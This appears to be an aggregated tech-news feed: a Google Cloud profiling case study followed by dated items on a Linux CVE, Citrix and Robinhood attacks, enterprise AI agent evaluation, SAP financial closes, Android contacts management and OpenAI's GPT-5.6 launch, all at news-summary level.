Today, we run 80+ microservices on Google Cloud with a mix of languages including Go, Python, JavaScript and Java. To deliver this new architecture, we created a gateway-like microservice to route traffic from soon-to-be migrated monolithic service to the Google Cloud microservices, which delivers a range of features.

After creating several microservices, we identified common requirements and created a template to accelerate their development. These common requirements included:

Exporting metrics to Prometheus
A gRPC server and interceptors
Error Reporting, Cloud Trace and Cloud Profiler. Error Reporting counts, analyzes and aggregates crashes in running cloud services, while Cloud Trace provides a view of requests as they flow through microservices and Cloud Profiler shows how microservices consume CPU, memory and threads.

We then used Python to create a template for machine learning services, also expediting the creation of new microservices. This has enabled us to grow the number of microservices we use in order to address new requirements. However, as our microservices proliferated, we needed to efficiently monitor and understand their performance.

Maintaining SLO a challenge

In particular, we needed to monitor the impact of new versions on the production environment and the efficiency of production operations, so we could maintain our service level objective (SLO) for success rates of 99.95% and 350 milliseconds for 95% latency.

Our engineering team also uses canary deployments to detect issues with new versions of major services. However, despite applying these measures, we found it challenging to maintain our SLO when our business grew faster than expected or during unanticipated spikes in demand. Some issues can be obvious or easy to detect. For example, if a service is experiencing high CPU utilization, we could simply place or fine tune our horizontal pod autoscaler (HPA) to resolve the problem. However, other issues may be less obvious. For example, a drop in performance may not directly be tied to a specific release—it may instead be due to unexpected requests, or may arise from changes to multiple functions in a single code release.

Using Cloud Profiler and Cloud Trace to minimize performance issues

In particular, our business-critical UserStats service, which tracks the speed with which a user replies to a message and how fast and reliably a seller ships an item, recently started performing poorly.

New feature requirements had prompted us to track how often a seller cancels an order and provide statistics. However, while adding this new functionality, the change refactored other functions, meaning we were unable to identify the function experiencing reduced performance. Since most of our services are enabled with Cloud Profiler and Cloud Trace, we turned to these products to investigate and identify the root cause.

Before the change:

Click to enlarge

After the change:

Click to enlarge

These two Cloud Profiler views show the CPU time of the call stack increased from 457 milliseconds to 904 milliseconds, with most of the delta attributable to the _UserStats_SellerCancelStats_Handler function. But because other functions also saw variations in their CPU consumption, and because calls occurred in parallel, we found it difficult to identify the cause of latency increases. The fact that this function call was necessary meant we could not remove the entire function.

We checked Cloud Trace and confirmed the function call had increased overall latency on some requests, similar to below:

Click to enlarge

We analyzed the service with Cloud Profiler and identified hot spots that were contributing to the increase in CPU time consumption. We optimized these hot functions, deployed the new code, used Cloud Profiler to verify that the changes had the desired effect of reducing the CPU time. Doing so, we were able to improve latency by 10% to 15%!

Simplifying the DevOps experience

Before adopting Cloud Profiler, profiling production services was a tedious and manual undertaking involving recompiling with debug flags; deployment to production environments, and using disparate tools to collect profiles and perform analysis. Containerization only increased this complexity, further reducing developer productivity.

Cloud Profiler enables us to continuously profile production environments with small and simple code changes, replacing the tedious work previously required to set up environments for performance analysis. Low overhead continuous profiling with Cloud Profiler helps us react swiftly to changes in service performance by root causing and resolving issues quickly.

Further, tools such as Cloud Trace and Cloud Profiler require minimal effort to setup and provide a consistent DevOps experience for our service owners. This is particularly important as we grow in the United States and elsewhere. Without Google Cloud, monitoring, debugging and profiling across production environments that feature a mix of languages, technology stacks, frameworks and containers would be extremely challenging and time-consuming. The release of new features and experiences in tools such as Cloud Profiler make us glad we chose Google Cloud as our primary cloud platform. We will continue to work with new features and provide feedback to Google Cloud, so it can continue to provide a better service to users.

Visit the Google Cloud website to learn more about Cloud Profiler and Cloud Trace.

Google Maps: So könnt ihr sehr leicht Flächen, Strecken und mehr mit dem Lineal messen (Android & Desktop)

Sat, 11 Jul 2026 07:02:37 +0200

Mit der Kartenplattform Google Maps lässt sich die Welt nicht nur in unzähligen Ansichten und mit vielen Details entdecken, sondern es lassen sich auch Vermessungen durchführen. Neben der Streckenlänge einer geplanten Route lässt sich auch die Entfernung als Luftlinie berechnen - aber auch das ist noch nicht alles. Heute zeigen wir euch, wie ihr Flächen bzw. deren enthaltenes Gebiet vermessen könnt.

Mehr lesen: Google Maps: So könnt ihr sehr leicht Flächen, Strecken und mehr mit dem Lineal messen (Android & Desktop)

Keine Google-News mehr verpassen: GoogleWatchBlog bei Google News abonnieren

Der Beitrag Google Maps: So könnt ihr sehr leicht Flächen, Strecken und mehr mit dem Lineal messen (Android & Desktop) erschien zuerst auf GoogleWatchBlog.

CVE-2022-48782 | Linux Kernel up to 5.16/5.16.10 route.c mctp_key_add use after free (1dd3ecbec5f6/7e5b6a5c8c44 / WID-SEC-2024-1625)

Sat, 11 Jul 2026 01:36:51 +0200

A vulnerability described as critical has been identified in Linux Kernel up to 5.16/5.16.10. This affects the function mctp_key_add of the file route.c. Executing a manipulation can lead to use after free. This vulnerability is registered as CVE-2022-48782. The attack requires access to the local network. No exploit is available. Upgrading the affected component is recommended.

Enterprise AI is entering an evaluation gap: Agents are gaining autonomy faster than companies can verify them

Fri, 10 Jul 2026 21:18:05 +0200

Enterprise AI teams are giving agents more freedom at the same moment their confidence in automated testing is collapsing.

Half of enterprises have deployed an AI agent or LLM feature that passed internal evaluations and yet still caused a customer-facing failure — one in four more than once — according to the June 2026 VB Pulse survey of 157 qualified enterprise respondents at companies with 100 or more employees.

The sample is self-selected rather than a probability sample, so the findings should be read as directional, not precise.

But enterprises are not responding by slowing automation: 66% of respondents already permit some production deployment without human review or are building systems intended to do so within the next 12 months. Only 5% say they fully trust the automated evaluations that would make those release decisions.

That mismatch is the evaluation gap: the autonomy ceiling is rising faster than the assurance beneath it.

It also fits a broader thesis that will be explored at VB Transform 2026: enterprises ship agents first, while the control layers around identity, evaluation, cost, context and orchestration are arriving later. The next year will be a retrofit cycle, with buyers shifting budget toward the systems that make agentic deployments governable and dependable.

Why a passing evaluation is not a working agent

Traditional software testing usually asks whether a defined input produces an expected output. Agent testing is harder because the system may choose its own sequence of steps, call tools, retrieve data, alter state and respond differently from one run to the next.

An agent can make several individually plausible decisions and still reach the wrong result. It may retrieve the correct account but update the wrong field. It may draft a valid refund request but send it without approval. It may call five tools successfully before a sixth step leaks sensitive information or leaves a workflow incomplete.

The survey shows enterprises already recognize this limitation. The most common reason for distrusting automated evaluation is poor alignment with real-world outcomes, cited by 29% of respondents. Bias or inconsistency follows at 21%, lack of explainability at 18%, and data leakage or privacy concerns at 17%.

That hierarchy matters. Enterprises are saying the score often does not predict what happens when a customer, employee or business process encounters the agent in production — not that automated scoring is too slow or expensive.

NIST makes a similar point in its Generative AI Profile: measurements gathered in controlled environments may not transfer cleanly to deployment because behavior changes with prompts, users, context and operating conditions. Its guidance calls for field testing, post-deployment monitoring and clear processes for escalating failures.

Capability is not consistency

A single successful run proves that an agent can complete a task. It does not prove that it will complete the task reliably.

Anthropic’s guidance on agent evaluation distinguishes between measuring whether a system succeeds at least once across repeated attempts and whether it succeeds every time. That distinction is essential for customer-facing or operational workflows. A model that occasionally produces an excellent answer may still be unacceptable if the same task fails unpredictably on the next attempt.

Enterprise teams should therefore treat repeatability as a first-class metric. That means running the same scenario multiple times, varying phrasing and context, testing tool failures, and measuring whether the final business outcome remains correct even when the route changes.

The evaluation set also has to evolve. Every production incident should become a permanent regression test. Customer escalations, failed tool calls, incorrect approvals and data-handling mistakes should feed back into the pre-deployment suite rather than remaining isolated support cases.

Autonomy should expand by risk, not by ambition

The survey does not imply that every agent action should require a person. Human review cannot scale across millions of low-consequence decisions.

But zero-human operation should be earned by demonstrated reliability and bounded by the consequences of failure.

Low-risk actions such as drafting internal summaries or categorizing documents can tolerate broader autonomy. Financial transactions, customer communications, code deployment, access-control changes and data deletion need stricter thresholds, repeated consistency tests, policy checks, rollback mechanisms and clear human escalation paths.

The risk isn't evenly distributed by company size, either. Larger enterprises — those with 2,500 or more employees — are moving toward zero-human deployment fastest, at 70% versus 64% for smaller companies, and they're also shipping more agents that go on to fail a customer, at 54% versus 48%.

That is the warning for enterprise leaders. Removing the human from the loop does not remove uncertainty. Without stronger assurance, it converts uncertainty into an automated production decision.

The market will keep pushing toward greater autonomy because the economic incentive is real. The organizations best positioned won't be those that remove people fastest — they'll be the ones that treat repeatability and regression testing as seriously as deployment speed.

Hackers Can Go From CitrixBleed 2 Exploitation to Ransomware in Under an Hour

Fri, 10 Jul 2026 15:08:56 +0200

A critical Citrix flaw is giving intruders a fast route from an internet-facing gateway to a ransomware event. The activity centers on CitrixBleed 2, tracked as CVE-2025-5777, which can expose memory from affected NetScaler ADC and Gateway appliances before a…

The post Hackers Can Go From CitrixBleed 2 Exploitation to Ransomware in Under an Hour appeared first on IT Security News.

Hackers Can Go From CitrixBleed 2 Exploitation to Ransomware in Under an Hour

Fri, 10 Jul 2026 14:52:19 +0200

The post Hackers Can Go From CitrixBleed 2 Exploitation to Ransomware in Under an Hour appeared first on Cyber Security News.

Hackers Impersonate Robinhood With Fake Sign-In Alerts in Callback Phishing Attacks

Fri, 10 Jul 2026 13:08:40 +0200

Robinhood users are being targeted with fake sign-in alerts that urge them to call a phone number. The messages are designed to create urgency around an unfamiliar account login, turning a routine security warning into a route for a phone-based…

The post Hackers Impersonate Robinhood With Fake Sign-In Alerts in Callback Phishing Attacks appeared first on IT Security News.

Accelerating financial closes with help from AI agents: A pragmatic guide

Fri, 10 Jul 2026 13:03:04 +0200

Historically, financial closes required were tedious, manual-intensive processes, which makes them excellent candidates for agentification. AI agents can handle much of the “dirty work” associated with integrating financial data from various sources, reconciling transactions and so on. That said, there are limits on how far AI agents can go in streamlining and accelerating the closing process. It’s unrealistic for businesses to remove humans from the picture entirely.

With this caveat in mind, here’s a look at practical approaches to driving more efficient financial closings with help from AI agents. To ground the conversation, I’ll focus on what the process might look like within environments based on SAP, although many of these lessons apply to any organization and tech stack.

How AI agents can accelerate financial closes

Although ERP systems like SAP house most or all of an organization’s financial data within a central system, closing out the books still tends to be a highly complex process, hampered by challenges like the following:

Master Data reconciliation
Working through huge volumes of journaling
Identifying and resolving transaction reconciliation errors
Ensuring compliance with governance and regulatory requirements

These are all areas where AI agents can help, even if SAP’s Advanced Financial Closing is used. For example, instead of requiring humans to assess each irregular transaction manually, businesses can employ agents to review the situation and suggest a resolution. Agents also excel at tasks like integrating multiple data sources, then identifying and addressing redundancies or inconsistencies across them.

Similarly, agents can continuously monitor financial workflows throughout the close cycle, flagging anomalies and potential bottlenecks before they delay reporting deadlines. They can automatically collect supporting documentation, validate data against predefined business rules and route exceptions to the appropriate stakeholders for review.

By reducing the amount of repetitive manual work required during closing, AI agents help finance teams focus on higher-value analysis and decision-making. This can lead to faster close times, improved accuracy and greater confidence in the integrity of financial reporting.

The limitations of agents for closing the books

That said, agents can’t handle every aspect of the closing process entirely on their own. Two key limitations apply. The first is that, as with any LLM-powered technology, agents are at risk of making inaccurate decisions or inferences. Businesses can’t blindly trust agents to interpret financial data accurately all of the time. A second factor is that, due to strict regulatory requirements, it’s essential in most cases for humans to sign off on financial accounts. Telling regulators or auditors that you know your books are accurate because an AI agent told you so is not a recipe for compliance success.

Because of these limitations, a healthy perspective on AI agents in financial closing contexts is to think of them as a way to improve visibility, agility and efficiency, not as a replacement for people. Agents can make recommendations, but humans need to be the ones who review, validate and sign off on any actions before they are final.

Integrating AI agents into the closing process in SAP

How can organizations actually take advantage of AI agents to help with closing?

The answer is complicated because every business’s books and closing process are different. This means that, despite the growing inventory of AI agents now available on platforms like SAP, it’s unrealistic to expect to “drag and drop” agents into existing closing workflows and have them do what they need.

Instead, many businesses will find that they need to build custom agentic solutions. Often, they’ll benefit from implementing multiple agents targeted at different tasks, e.g., accounts receivable, accounts payable and foreign currency exchanges, along with an orchestrator agent that oversees them all. Each agent will need to be tailored for the organization’s data sources, governance and compliance obligations, etc.

In addition, organizations must carefully define how agents interact with financial systems and employees. While some activities can be automated end-to-end, others require human review and approval to satisfy internal controls and regulatory requirements. Establishing clear workflows, escalation paths and audit trails is essential to ensure that agent-driven processes remain transparent and trustworthy. Organizations also need to invest in testing and validation to confirm that agents produce accurate results and can handle exceptions without introducing new risks into the close process.

The fact that SAP itself is a complex platform, with native agentic capabilities fully supported only in the latest versions, further complicates the agentification of the closing process. Enterprises need to assess the agentic support level available within the SAP version they use, then determine the extent to which they can leverage SAP’s own agents versus working with third-party agents.

Another key consideration is data quality. AI agents can only perform effectively when they have access to complete, accurate and timely financial information. Organizations may need to improve data governance practices and address integration challenges before agents can deliver meaningful value. The extent to which they can do this easily depends, in large part, on how healthy their underlying SAP data governance practices are.

All of the above means that taking advantage of agents to accelerate closes and other financial workflows within SAP is no mean feat. It requires deep technical expertise in both agentic technology and the complex SAP software portfolio. But the investment is worth it for organizations seeking to reduce the uncertainty and slowness traditionally associated with closing the books. Over time, well-designed agentic workflows can help finance teams spend less time on manual reconciliation and exception handling while enabling faster, more predictable financial close cycles.

This article is published as part of the Foundry Expert Contributor Network.
Want to join?

NetScaler MCP Gateway Secures LLM and Agentic AI Traffic From a Single Platform

Fri, 10 Jul 2026 12:53:36 +0200

Citrix, a Cloud Software Group company, announced major updates to its NetScaler® platform on July 9, 2026, introducing MCP Gateway functionality designed to secure and govern the explosive growth of AI agent traffic across enterprise environments. The new capability allows organizations to centrally route, monitor, and control agent communications with backend Model Context Protocol (MCP) […]

The post NetScaler MCP Gateway Secures LLM and Agentic AI Traffic From a Single Platform appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

Citrix NetScaler MCP Gateway Adds Unified Security for Agentic AI Traffic

Fri, 10 Jul 2026 12:53:28 +0200

Citrix, a Cloud Software Group company, has introduced Model Context Protocol (MCP) Gateway capabilities for NetScaler, extending its application delivery and security platform to govern enterprise agentic AI traffic. Announced on July 9, 2026, the update allows organizations to centrally route, authenticate, monitor, and control AI agent requests to backend MCP servers. Citrix also expanded […]

The post Citrix NetScaler MCP Gateway Adds Unified Security for Agentic AI Traffic appeared first on Cyber Security News.

Hackers Impersonate Robinhood With Fake Sign-In Alerts in Callback Phishing Attacks

Fri, 10 Jul 2026 12:23:20 +0200

The post Hackers Impersonate Robinhood With Fake Sign-In Alerts in Callback Phishing Attacks appeared first on Cyber Security News.

The ultimate guide to Android contacts management

Fri, 10 Jul 2026 12:03:31 +0200

You’d think keeping tabs on your contacts would be about the simplest and most straightforward task imaginable in our modern connected world — wouldn’t you?

I sure would. But as I’ve learned over the years, that perfectly understandable instinct couldn’t be more inaccurate.

Effectively wrangling your contacts on Android and keeping ’em manageable, organized, and optimized for efficiency really is a fine art. And in a way, it’s no wonder: Most of us have reached a point where our phones’ contacts are a sprawling goulash of earthlings from all different eras of our lives — clients, colleagues, college buddies, and, of course, your cousin Carl from Poughkeepsie.

Making matters even more complex is the fact that what constitutes “Android” is a wildly different experience from one device to the next. And most Android phone-makers don’t exactly make it easy for you to make the most of your messy contacts stew.

The good news, though, is that it doesn’t have to be so difficult. Today, we’ll start from square one and get your contacts in tip-top shape, no matter what type of Android phone you’re using or how many unruly old bosses’ email addresses you’ve got stored away.

By the time we’re done, your Android phone contacts will be as orderly as can be — and you’ll be equipped with all sorts of practical knowledge for harnessing their typically untapped potential.

Part I: Android contacts streamlining

First and foremost, we need to make sure we’re all on the same page — ’cause as we just mentioned a moment ago, the Android contacts situation is anything but standardized across the platform.

Specifically, if you’re using a Samsung phone, we need to get you off of Samsung’s subpar and proprietary contacts service and into Google’s better, smarter, and more platform-agnostic alternative.

Samsung’s main goal with its products, y’see, is to keep you within its own universe. The company wants you to continue using Samsung stuff and buying Samsung stuff, and it makes that more of a priority than giving you an optimal experience.

The company’s Contacts app is the perfect example: The app offers no noteworthy advantages over Google’s standard Android Contacts service, and it’s available only on Samsung-made Android devices. It’s less fully featured and pleasant to use than Google’s version, too, and it makes it much more difficult to access your contact info from a computer or any other type of device.

So why does Samsung insist on making that the default contacts service on its phones instead of sticking with Google’s readily available offering? Simple: because it locks you into Samsung’s self-serving ecosystem.

Let’s break you free, shall we?

Open up the Contacts app on your phone (the one probably represented by a glaringly bright red icon).
Tap the three-dot menu icon in its upper-right corner, then tap “Settings” followed by “Sync contact accounts.”
Make sure your main Google account is present and has its toggle active on the screen that comes up next. If you don’t see it, tap the “Add account” option to add it into the mix.

Both your Samsung account and your Google account need to be added and set to sync in the Samsung Contacts app.

JR Raphael / Foundry

Got it? Good. Now, go download the Google Contacts app from the Play Store. Open it up and approve the permissions it needs to operate. Then make a point to start using it instead of Samsung’s silliness (which, by the by, Samsung won’t let you uninstall or even disable) from here on out.

If you’re using an older Samsung device and the steps described above don’t quite match what you’re seeing, poke around in the Contacts app until you find a similar set of options. They should be there somewhere; the specifics of the interface have just evolved somewhat over the years, so older versions of the app may not be exactly the same.

If you have a non-Google-made phone from someone other than Samsung, meanwhile, check to see if your contacts app is the actual Google Contacts app or not. If it isn’t — and if your device-maker gave you some other random alternative in its place — poke around in that app and try to find a similar set of options for syncing everything over to your Google account. If that isn’t possible, find the option to export your contacts from that app and then look for the import option within the Google Contacts Android app to get to the same spot.

Part II: Android contacts accounts and labels

Now that we’re all looking at the same place and dealing with the same best-available Android contacts management option, let’s take a few minutes to get the lay of the land, shall we?

When you first open the Google Contacts app on Android, you’ll see a merged view of all contacts from every Google account you have connected to the phone. But take note: If you tap the “All contacts” line toward the top of the screen, you can switch to seeing contacts associated with only one individual Google account at a time — assuming you have multiple Google accounts connected — instead of seeing them combined together all at once.

That could be useful if, say, you have both a work account and a personal account connected to your device — or maybe you’re a freelancer and you have multiple work-related accounts connected for different purposes.

The Google Contacts app makes it easy to see contacts from individual accounts or all of your connected accounts together.

JR Raphael / Foundry

If you tap the triangular three-line icon to the right of the “All contacts” dropdown, meanwhile, you’ll find a few filtering options that could be helpful as alternatives to the large search bar at the top of the screen — if, for instance, you need to find a contact and only know the name of their company but also can’t quite think of that company’s name and need a prompt. Tap that icon, select “Company,” and you’ll see a list of every company name in your contacts that you can scroll through and select to apply as a filter.

Finally, if you tap the outlined arrow-like shape to the left of the filter icon, you’ll see a list of any labels you’ve created for your contacts. Labels in Google Contacts work exactly like labels in Gmail: You can create as many as you like, and you can apply any number of labels onto any given contact. They’re less like folders, in other words, and more like stickers — or, y’know, labels — in that there’s no limit to how many any particular contact can have.

So why would you want to bother with labels, you might be wondering? Well, I’ll tell ya: They’re a splendid way to break that mess of mammals in your life down into specific, meaningful groups instead of always viewing ’em in one gigantic lump.

Maybe, for instance, you’d have a label called “Work” that includes everyone from your current company. And maybe you’d have a separate label called “Team” that’s even more narrow and shows only the people you directly work with. Maybe you’d have another label for clients, another for specific subsets of clients, and another for all the people in your life named Josh.

Once you do that initial organization, you’ll have an easy way to limit your view to only the individuals you need at any given moment — and you’ll gain a couple of other easily overlooked advantages, too, as we’ll explore further in a moment.

First, to apply a label onto a contact once you’ve created it:

Tap the contact to open it.
Tap the pencil-shaped editing icon in its upper-right corner.
Scroll down and look for the “Labels” option.
Tap it, then select whichever label or labels you want to add onto that contact and tap “OK” to save.

If you want to apply a label onto multiple contacts at the same time:

Tap the label icon — that arrow-like shape we were just talking about a moment ago, on your main contacts list — then select the label you want to use.
Tap the icon that looks like an outline of a person with a plus sign next to it, in the upper-right corner of the screen, and then select whichever contacts you want to add into the label by tapping them all once.
When you’re finished selecting, tap the “Done” option in the upper-right corner of the screen, and all of the contacts you selected will be added in one fell swoop.

Once you open a specific label within the Android Contacts app, you can see everyone who’s associated with it and add in new contacts en masse.

JR Raphael / Foundry

Capisce? Capisce. Now, let’s move on to some even more advanced Android contacts goodness.

Part III: Advanced Android contacts enhancements

When you first tap a person’s name within the Google Contacts app on Android, you’ll see a screen with their profile appear.

Anyone you store in your contacts on Android will have a custom profile that puts all your notes and info about them in a single place.

JR Raphael / Foundry

A smattering of interesting features worth noting here:

As of a relatively recent addition, the Google Contacts app allows you create a custom calling card that adds a background image into the top of that person’s profile and controls exactly what you see on your screen anytime they call you. If you aren’t seeing a background image in this area already, as illustrated above, look for the option to add a calling card — which should appear in that same general space.
You can also create your own custom calling card that controls how you show up by default on other people’s devices — provided they’re also using the Google Contacts app on Android, of course — if you’re ever so inspired.
And if you’ve had any interactions with a contact, you’ll be able to see a quick overview of that activity in the “Recent activity” area beneath that — along with any notes you’ve created for the person within their contact profile.

Your contacts’ profiles can contain all sorts of useful extras, ranging from an overview of your recent interactions with the person to a live look at the weather in their area.

JR Raphael / Foundry

To edit a profile, as you’d probably guess, you’ll just tap the pencil-shaped editing icon in the upper-right corner of the screen.

And one more advanced Android contacts option worth mentioning: Directly next to that pencil icon, you’ll see a hollow star in the upper-right corner of every contact’s profile. You can tap that to fill the star in and mark that person as a favorite.

Doing so will have some significant effects:

That person will always appear at the top of your contacts list.
They’ll also typically show up in a special, more prominent area of your Phone app for extra-easy access (and if they don’t, try downloading the Google-made Phone app and using it in place of whatever alternative your phone’s maker preinstalled in its place).
And they’ll be granted special privileges to reach you even when your phone is in Do Not Disturb mode, with the specifics depending on your preferences in that area of your system settings.

Part IV: Android contacts optimization

One of the best features of the Google Contacts service is how easy it makes it to clean up and optimize your contacts collection.

From the Contacts app on your phone, tap the “Organize” tab at the bottom of the screen — then:

Tap the “Merge & Fix” option.
Look to see what suggestions the app gives you, then tap ’em one by one and follow the steps within.

The Google Contacts app offers intelligent suggestions for quickly cleaning up your contacts.

JR Raphael / Foundry

Google Contacts will identify any instances where it looks like you’ve got two separate contact entries for the same person and then offer to quickly combine them for you. It’ll also let you know when it’s found more up-to-date contact info for anyone in your list. And it’ll offer to add in entries for anyone you email often but haven’t yet added.

Easy peasy, right?

And last but not least, for the virtual icing on your Android contacts cake…

Part V: Android contacts actions

Once you’ve gotten your contacts created, organized, and cleaned up properly, the Google Contacts app on Android has several advanced actions that are all too easy to miss.

You can use the Contacts app as an efficient way to start a new group email or text message thread with any selection of people you want. Just make sure the people are all in the same label, then tap the label icon in the app’s upper-right corner and select the label. Next, tap the three-dot menu icon in the upper-right corner of the label screen and look for the “Send email” or “Send message” option.
The Contacts app can also serve as an all-in-one hub for initiating communication with anyone in your collection. Open someone’s profile, and you’ll see one-tap icons for calling them, texting them, emailing them, or starting a Google Meet video call with them — all without ever having to poke around in any other apps.
If you want even easier access to certain high-profile people, check out the Google Contacts widget options: Long-press on any open area of your home screen, select the option to add a widget, and then look for the Contacts section. There, you should see options for adding square-shaped widgets that show a person’s photo along with one-tap links for calling or texting them as well as simpler icon-like shortcuts for calling or texting a specific contact. In the latter case, you can add as many of those as you want onto your home screen and even drag ’em on top of each other once they’re there to create convenient folders.

The Google Contacts app’s widgets are a wonderful way to keep one-tap shortcuts for calling or messaging important people close by.

JR Raphael / Foundry

Speaking of calling convenience, if there’s a certain contact who calls you a little too often — an overly eager recruiter or maybe that blasted cousin of yours (come on, Carl!) — the Google Contacts app has an easy way to automatically route all of their calls directly to your voicemail. Just open the person’s profile within the app, then scroll down and look for the “Send to voicemail” option — or look a little lower for “Block numbers,” if you really never want to hear from them again.
In that same area of a contact profile is a speedy shortcut for setting a custom ringtone for any contact so it’s especially easy to identify them (or hide in the nearest underground bunker) whenever they call.
And don’t overlook the recently added “Reminders” section, where you can store dates like birthdays and anniversaries and create reminders around ’em, in addition to having ’em appear within the app itself.

Last but not least, the real beauty of the Google Contacts setup on Android: It works equally well no matter what type of device you’re using.

On any phone you move into in the future, you can simply install the Google Contacts app, if it isn’t already in place, and all your stuff will instantly be there, synced, and available to you — no restoring required. And if you ever want to poke around or update your contacts from a computer, all you’ve gotta do is pull up the Google Contacts website in any browser where you’re signed in.

So the Android contacts situation isn’t exactly straightforward, as you’ve seen. But once you get it under control, it absolutely can be easy and effective — and, with a teensy bit of advance planning, an important piece of your mobile productivity puzzle.

This article was originally published in November 2022 and updated in July 2026.

OpenAI launches ChatGPT Work as it broadens GPT-5.6 rollout

Fri, 10 Jul 2026 11:32:37 +0200

OpenAI is sharpening its enterprise AI strategy with the launch of ChatGPT Work, a new agentic platform designed to automate workplace tasks, alongside the broader rollout of its GPT-5.6 models, which the company says deliver stronger performance at lower operating costs.

According to the company, ChatGPT Work can operate across applications and files, execute long-running tasks, coordinate multiple tools, and produce business documents, presentations, spreadsheets, and websites, allowing employees to delegate more complex workflows rather than interact through individual prompts.

GPT- 5.6 models, generally available weeks after a limited preview following US government restrictions on their broader rollout due to concerns about advanced cybersecurity and biology capabilities, can deliver stronger performance across coding, enterprise knowledge work, cybersecurity, and scientific research while lowering inference costs and token consumption, OpenAI said.

The launch marks a shift in OpenAI’s enterprise strategy. Rather than emphasizing benchmark leadership alone, the company is pitching GPT-5.6 around performance per dollar, arguing that enterprises deploying AI at scale increasingly care as much about operating costs as raw model capability.

“We trained GPT-5.6 to get more useful work from every token,” OpenAI said in a statement. “The result is stronger performance per dollar: more successful work for the same spend, or comparable results at a lower total cost.”

The models are now generally available through ChatGPT, Codex, and the OpenAI API. OpenAI has priced Sol at $5 per million input tokens and $30 per million output tokens, while Terra and Luna provide progressively lower-cost options for organizations scaling AI deployments, the statement added.

Enterprise AI shifts from experimentation to economics

ChatGPT Work combines GPT-5.6 with enterprise integrations and agentic capabilities that allow users to perform multi-step tasks across connected business applications instead of interacting with AI through isolated prompts. OpenAI said the platform is designed to help organizations automate knowledge work while maintaining enterprise-grade governance and security.

The launch comes as enterprises move beyond AI experimentation and begin deploying models across production workloads, making inference costs a growing concern for CIOs.

“The AI wave has brought productivity gains, but rising token consumption has also created bill shocks for enterprises,” said Neil Shah, vice president for research and partner at Counterpoint Research. “This is forcing organizations to adopt different models for different workloads, making performance per dollar the key metric.”

Faisal Kawoosa, co-founder and chief analyst at Techarc, said enterprises are now evaluating AI investments more pragmatically.

“The exploratory stage of AI is over,” he said. “Organizations can derive value from AI today, but performance per dollar will determine whether it becomes part of everyday business operations or remains an ad hoc tool.”

Tiered models for different workloads

GPT-5.6 Sol is OpenAI’s flagship model for complex reasoning, Terra targets mainstream enterprise applications, and Luna is designed for lower-cost, high-volume deployments.

According to OpenAI, GPT-5.6 Sol scored 53.6 on Agents’ Last Exam, a benchmark for long-running professional workflows, outperforming competing frontier models while requiring significantly lower compute costs.

The company also introduced two new reasoning modes. The max mode allocates additional compute for complex problems, while ultra coordinates four AI agents in parallel to accelerate demanding workflows.

“Ultra goes further by coordinating four agents in parallel by default, trading higher token use for stronger results and faster time-to-result on demanding tasks,” the statement added.

Shah said the architecture reflects how enterprises are increasingly orchestrating multiple AI models.

“GPT-5.6 gives enterprise architects flexibility to route workloads from Luna to Sol depending on whether they require automation, logic, or complex reasoning,” he said.

Kawoosa added that the tiered approach aligns with how enterprise software has traditionally been consumed.

“It gives enterprises of different sizes the flexibility to optimize technology consumption according to their requirements,” he said.

Coding, productivity, and security gains

OpenAI said GPT-5.6 Sol achieved a score of 80 on the Artificial Analysis Coding Agent Index while consuming fewer than half the output tokens of competing models. It also reported state-of-the-art results on Terminal-Bench 2.1 and DeepSWE, benchmarks that measure real-world software engineering tasks.

The company said the models also improve enterprise productivity through stronger document generation capabilities and integrations with Microsoft 365, Google Drive, Slack, and Notion.

On cybersecurity, GPT-5.6 Sol scored 73.5% on ExploitBench, up from 47.9% for GPT-5.5, and nearly doubled its predecessor’s performance on ExploitGym.

“GPT-5.6 supports important defensive tasks such as secure code review, patching, threat modeling, and blue teaming,” OpenAI said.

Security remains an enterprise focus

OpenAI said GPT-5.6 incorporates its “most robust safeguards to date,” combining model-level protections with real-time monitoring and extensive safety testing, including approximately 700,000 GPU hours of automated red-team evaluations.

Shah said layered guardrails and monitoring could become an important differentiator for enterprise deployments.

Kawoosa, however, said CIOs will continue demanding greater transparency before fully trusting frontier AI systems.

“Competition among LLM providers will continue, with vendors constantly testing and challenging each other’s guardrails,” he said.

The article originally appeared on InfoWorld.

OpenAI launches ChatGPT Work as it broadens GPT-5.6 rollout

Fri, 10 Jul 2026 11:18:37 +0200

Enterprise AI shifts from experimentation to economics

The launch comes as enterprises move beyond AI experimentation and begin deploying models across production workloads, making inference costs a growing concern for CIOs.

Faisal Kawoosa, co-founder and chief analyst at Techarc, said enterprises are now evaluating AI investments more pragmatically.

Tiered models for different workloads

GPT-5.6 Sol is OpenAI’s flagship model for complex reasoning, Terra targets mainstream enterprise applications, and Luna is designed for lower-cost, high-volume deployments.

“Ultra goes further by coordinating four agents in parallel by default, trading higher token use for stronger results and faster time-to-result on demanding tasks,” the statement added.

Shah said the architecture reflects how enterprises are increasingly orchestrating multiple AI models.

“GPT-5.6 gives enterprise architects flexibility to route workloads from Luna to Sol depending on whether they require automation, logic, or complex reasoning,” he said.

Kawoosa added that the tiered approach aligns with how enterprise software has traditionally been consumed.

“It gives enterprises of different sizes the flexibility to optimize technology consumption according to their requirements,” he said.

Coding, productivity, and security gains

The company said the models also improve enterprise productivity through stronger document generation capabilities and integrations with Microsoft 365, Google Drive, Slack, and Notion.

On cybersecurity, GPT-5.6 Sol scored 73.5% on ExploitBench, up from 47.9% for GPT-5.5, and nearly doubled its predecessor’s performance on ExploitGym.

“GPT-5.6 supports important defensive tasks such as secure code review, patching, threat modeling, and blue teaming,” OpenAI said.

Security remains an enterprise focus

Shah said layered guardrails and monitoring could become an important differentiator for enterprise deployments.

Kawoosa, however, said CIOs will continue demanding greater transparency before fully trusting frontier AI systems.

“Competition among LLM providers will continue, with vendors constantly testing and challenging each other’s guardrails,” he said.

IBM Bob expands beyond code generation to orchestrate the entire SDLC

Fri, 10 Jul 2026 03:02:42 +0200

Enterprises are using AI to write more code than ever before; anywhere between 25% and 75%, depending on who you ask. This means developers are moving to other parts of the process, where they run into whole new sets of problems.

IBM rolled out its IBM Bob agentic software development platform earlier this year to help developers across the entire software development lifecycle (SDLC), rather than just in single interfaces or isolated tasks.

To build out the platform, IBM Thursday announced a series of updates, including new multi-agent capabilities, parallel tool calling, and built-in cost and use analytics. The company also announced three specialized workflows geared specifically to Java modernization, its IBM i operating system (OS), and its mainframe architecture, IBM Z.

“What makes IBM Bob different is that IBM did not build it as another point coding assistant,” said Michael Kwok, VP of IBM Bob. “The market conversation has moved from ‘which model writes code fastest?’ to ‘which platform helps enterprises deliver software safely, repeatedly, and economically across the full lifecycle?’”

